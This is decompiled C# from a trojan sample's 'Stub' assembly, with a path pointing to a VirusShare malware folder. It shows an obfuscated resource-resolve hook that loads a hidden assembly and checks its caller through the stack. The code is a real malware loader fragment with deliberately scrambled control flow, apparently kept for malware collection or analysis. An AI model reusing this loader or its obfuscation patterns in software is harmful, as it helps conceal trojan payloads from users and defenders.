// Decompiled with JetBrains decompiler // Type: . // Assembly: Stub, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null // MVID: 18A6455A-DBC9-4D4B-8699-BEBEFCABEF8D // Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Llac.aimt-d60eebfa06f055ff7e8bef8d4507b58d2922f6e9f6682bbf0d9c0884bab4acb2.exe using \u0002; using System; using System.Diagnostics; using System.Reflection; using System.Runtime.InteropServices; namespace \u0002 { internal sealed class \u0004 { private static Assembly \u0001 = (Assembly) null; private static string[] \u0001 = new string[0]; internal static void \u0002() { try { AppDomain.CurrentDomain.ResourceResolve += new ResolveEventHandler(\u0004.\u0002); } catch (Exception ex) { } } private static Assembly \u0002([In] object obj0, [In] ResolveEventArgs obj1) { if ((object) \u0004.\u0001 == null) { lock (\u0004.\u0001) { \u0004.\u0001 = Assembly.Load("{3ea36574-a2c6-44b0-87e6-d55d37150f98}, PublicKeyToken=3e56350693f7355e"); if ((object) \u0004.\u0001 != null) \u0004.\u0001 = \u0004.\u0001.GetManifestResourceNames(); } } string name = obj1.Name; if (true) { int index = 0; while (true) { int num1 = index; int num2 = \u0004.\u0001.Length; if (true) goto label_17; label_8: if (num2 == 0) goto label_18; label_9: if (num2 != 0) { if (num1 == 0) num1 = index; else break; } index = num1 + 1; continue; label_17: num2 = num2; label_18: if (true) { if (num1 < num2) { int num3 = \u0004.\u0001[index] == name ? 1 : 0; num2 = 6; num1 = num3; goto label_8; } else goto label_20; } else goto label_9; } if (!\u0004.\u0002()) return (Assembly) null; goto label_13; label_20: return (Assembly) null; } label_13: return \u0004.\u0001; } private static bool \u0002() { bool flag; try { if (true) { StackFrame[] frames = new StackTrace().GetFrames(); int index = 2; while (true) { int num1 = index; while (true) { int length = frames.Length; if (num1 >= length) { flag = false; goto label_17; } else if ((object) frames[index].GetMethod().Module.Assembly == (object) Assembly.GetExecutingAssembly()) { int num2 = 1; if (num2 != 0) { flag = num2 != 0; goto label_17; } else num1 = num2; } else { num1 = index + 1; break; } } index = num1; } } } catch { int num; for (int index = 0; index == 0; index = num) { num = 1; if (num != 0) { flag = num != 0; break; } } } label_17: return flag; } } }